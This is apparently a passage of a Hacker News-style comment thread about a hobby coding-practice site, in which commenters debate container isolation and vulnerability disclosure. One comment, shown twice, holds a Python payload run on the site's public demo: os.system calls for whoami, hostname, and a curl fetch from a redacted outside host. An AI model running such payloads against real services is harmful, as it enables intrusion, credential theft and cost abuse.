91–100 of 134 posts
So far what I gathered from the comments: * Not the most secure * A fork of code wars. * Has random photos for testimonials. * W3schools links. *How is it like Duolingo at all?
Earlier quoted context omitted.
Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What do you mean? It's an arbitrary RCE - a scenario that's generally treated as game over. What specifically are the concerns you don't have if that happens to a system of yours?
remote code execution doesn't really mean much in an un-privileged container. They could be using cgroup limits, capability drops, MAC, seccomp, etc etc Now, I'm not saying that containers are super tight by default. It is entirely possible this particular container env is wide open, but I didn't really see anything too concerning from the parents analysis.
It means pretty much everything. Have you ever heard of someone reporting an RCE in a major service and it being treated as no big deal? They're invariably treated as catastrophic compromise because it is. The jump from RCE to privilege escalation, escape, etc is nothing compared to the actual RCE-ing.
Earlier quoted context omitted.
I disagree. I see HN as a community of people involved in similar pursuits, and demonstrating issues like this publicly is educational for everyone.
Sure, but you can "demonstrate" the details after it's fixed.
I get your point and the other guy’s too. I line up on the side that disclosures should be messy and embarrassing sometimes, as incentive to really think about what you are doing. The danger here is low.
Earlier quoted context omitted.
> "He needs to be running a client-side service, not running whatever someone enters on his machine" I would say that for the most part, websites such as this don't actually need a real, full-blown %s-lang compiler/VM that actually executes real code on a backend server. It would be enough to tokenize and parse things on the client's side and validate ABNF via JS. This would reduce the costs involved with running suc…
Then you end up with a system where someone can arrive at the right answer via AST that you didn't expect, which was a frustration when I helped students with a service like (IIRC) CodeCademy.
Earlier quoted context omitted.
Whoever runs a service that allows running untrusted code in 2018 deserves no responsible disclosure but a punch in the face. It doesn't help if we allow those entities to exist.
Chances are, they are a beginner. This is someone’s side project not a site backed by a huge corporation. They deserve responsible disclosure so they can learn from it.
Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
How does the url http://redacted/ work? I've never seen a url without a tld on the end. Could I register the domain http://foo ?
For a while, the owners of `.ai` had a similar arrangement, but it seems to have been since taken down.
Earlier quoted context omitted.
I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?
> "What specifically are your concerns? What about what you've learned will create an exorbitant bill?" Abusing the containers to send large amounts of outgoing traffic would do just that. Downloading files would do that too. How about sending a " while(true) { } " to hog some CPU? It doesn't take much to cause significant monetary damage. Depending on their set-up, those containers could contain credentials or some…
Running ps shows the timeout command as PID 1, and evidently an infinite loop gets killed after some point. In fact, there aren't any other processes besides sh, node, and the Python interpreter, and I'm not familiar with containers to know how this is possibly implemented (because obviously, timeout cannot be PID 1, so ps is wrong here).
Earlier quoted context omitted.
"The woman eats the apple." is a complete sentence, no? Do you mean you only memorized specific sentences, but did not end up with any generalizable knowledge? I've never tried Duolingo, but I kind of expected them to not show you exactly the same exercises again, so that you wouldn't pass them with just memorization.
Thats exactly what he was saying. But yes, Duolingo and Memrise take similar approaches at not teaching you anything.
Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…
It's obviously running in a container. I'm not sure your code really shows anything too concerning if they are taking precautions outside of the container to mitigate things like DDoS etc.
They have a "Register" button at the top right where you can enter a username and password. If you have shell access to the box (no matter how virtual the box is), there's a good chance you can alter the site's code and capture the passwords people enter. And knowing that, in the real world, people do reuse passwords, this could easily lead to compromising accounts on other sites.
They also have a privacy policy (linked at the bottom) in which they make all kinds of promises about not leaking your personal data. If someone can take over their machine, and they know it, and they don't shut it down, it seems like that would violate the promises made in that privacy policy.
Also, of course, an attacker could alter the site to exploit any vulnerabilities in the users' browsers, so it opens up an attack vector there. Obviously users need to keep browsers patched, but people expect the risk to be lower when visiting legitimate sites.